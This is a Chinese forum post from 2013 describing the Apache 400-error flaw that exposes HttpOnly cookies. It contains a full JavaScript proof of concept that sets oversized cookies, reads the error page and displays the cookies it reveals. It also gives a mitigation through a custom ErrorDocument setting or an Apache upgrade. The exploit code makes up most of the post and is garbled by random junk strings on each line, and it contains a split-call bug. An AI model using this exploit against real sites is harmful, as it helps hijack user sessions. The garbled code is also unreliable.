找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2777|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。- n* e$ q0 D1 C: V2 p( M2 L

$ g. g- _& C9 A* K用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:. Z- G  F$ r8 q! D

, a. @, {5 k; x( a* x+ T" c. l: E
, {7 o2 }4 w2 }, i// http://www.exploit-db.com/exploits/18442/
8 C$ @0 g$ A# o0 ]: Y0 Vfunction setCookies (good) {2 W9 [$ Q( h6 }8 v, K- z$ b, H
// Construct string for cookie value
% k! J# E  k# ?; ~/ x: T5 ovar str = "";3 g9 P9 V. j  P& Z  ]$ B* V5 ]5 a
for (var i=0; i< 819; i++) {
8 n' B1 g$ }9 ~1 A6 qstr += "x";
, Z, P# D5 n+ y- M' V% B7 h$ Y}
6 N  t! f* o, \  _5 d// Set cookies$ f1 B1 w  k$ r9 W
for (i = 0; i < 10; i++) {0 k5 f. k# q# B+ J/ k, w
// Expire evil cookie& V& z4 T- l3 D3 Q$ H
if (good) {- S% k% V; S' G% T+ r3 ^: R' `4 `
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
# [( W' c5 _( F/ a}! R( r# c" q2 J7 h1 i% l; F% r
// Set evil cookie6 W4 [2 Y! Y6 k# S
else {$ f9 Y" u1 [" ~0 d/ L$ i
var cookie = "xss"+i+"="+str+";path=/";
4 M) {! M) F0 ?1 x$ d% o) @9 x}4 Q, i/ G1 G7 Z* ?4 ]: y: V
document.cookie = cookie;: ?( e1 S, ?* _5 |
}
+ s$ n0 C9 v/ O( v* S/ A" Q}! P5 ^, l4 h/ D# a( `
function makeRequest() {* K9 E6 `1 ^- O: i, c
setCookies();" G, r3 Y* h2 w: F4 N
function parseCookies () {
6 F/ ~: y/ P% n* f0 Pvar cookie_dict = {};% t* L2 C, Y$ m, ?5 H) Z
// Only react on 400 status
5 ?9 ?  w8 F$ f3 @: Xif (xhr.readyState === 4 && xhr.status === 400) {
5 f( c2 C7 Y$ F- R// Replace newlines and match <pre> content
1 m# o! B8 l6 R& vvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
: C& C/ [  f0 U$ q6 b, I7 zif (content.length) {
: t  v1 g& F" u4 j" W" Y7 {4 Z$ v// Remove Cookie: prefix& [% d/ y4 t6 b
content = content[1].replace("Cookie: ", "");
4 {2 v+ X8 n4 z# n' Zvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
8 X* n) K' m; `5 C// Add cookies to object- x- P: g& G) g" E8 i; H& Q
for (var i=0; i<cookies.length; i++) {8 g) B6 P) w3 n0 r
var s_c = cookies.split('=',2);
- x' R" B7 g6 r( jcookie_dict[s_c[0]] = s_c[1];
( H* `, e- J' w" d5 X}
, k5 ~3 n2 Y" h# e}
$ L, l! Q, w* S6 H. o; a: F! k// Unset malicious cookies
6 T7 h; E: f% Z9 E; j6 X: ]$ P1 RsetCookies(true);! G8 X% x( T7 O# X( M
alert(JSON.stringify(cookie_dict));
! r* O% e% b; W8 F7 f  m}' G1 A* f# O. L/ ?) _" h9 Z
}
7 j& N; T% ^" H: ^+ Q// Make XHR request! a' E. v) U; l# d: ~- R
var xhr = new XMLHttpRequest();6 H+ u4 s$ J: M# U, a
xhr.onreadystatechange = parseCookies;& c7 g: T" f9 }" p$ c+ N; d9 w
xhr.open("GET", "/", true);
7 S1 c, s7 \/ jxhr.send(null);
4 |6 ?1 l+ p; R3 q7 q1 q! j}& P1 K4 ?+ p/ p# O3 z
makeRequest();# v1 Y" K1 ~9 ~9 r/ p) p6 j
; X0 |6 V; u5 q; v! D
你就能看见华丽丽的400错误包含着cookie信息。  I' u0 T& u$ o$ g# a) ?7 v
: X/ m% H, B# V  W% }
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#- N% g+ K3 L3 m! P3 G

) z2 B8 P8 K8 t1 `修复方案:& Q; ^( m2 m3 [! s8 P  @3 F3 _

, D0 ~/ U; z" b9 ?( o; ?* y5 VApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下9 j9 |+ j& N7 J2 z% Y
/ l  f- @) O  o7 l3 n' C. T
In the event of a problem or error, Apachecan be configured to do one of four things,0 k% \9 J- E4 `0 c9 r7 b4 N
9 r2 t  o* {1 j7 V
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
! \1 u0 W* F2 s7 Q7 @* {3 |6 p2. output acustomized message输出一段信息  W: Y2 a* T6 b) ~& y+ B  Q0 y
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
% v; Q% H2 c  S. }4. redirect to an external URL to handle theproblem/error转向一个外部URL
% Y! u/ p3 E& g# F- z7 M* ~) l
/ s% M( G0 b, f2 M! V经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
! I; L" k. U1 T6 m$ G" {7 U! b% P2 A& ^' f1 r' F/ h
Apache配置:- k, \( e9 R( B# Y
; F6 m9 R: ^1 j! v8 k  P
ErrorDocument400 " security test"
5 [9 n' P! j' n- W2 d% r- O" T3 Q& D; R9 f1 _7 h2 C
当然,升级apache到最新也可:)。- M% r0 P5 y4 w1 Q$ e8 m' ?
. ^. [: b  j/ }$ H3 I+ d$ g
参考:http://httpd.apache.org/security/vulnerabilities_22.html7 X8 A2 n+ x1 w9 y# W

9 s3 X4 S8 n" g: C. W. c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表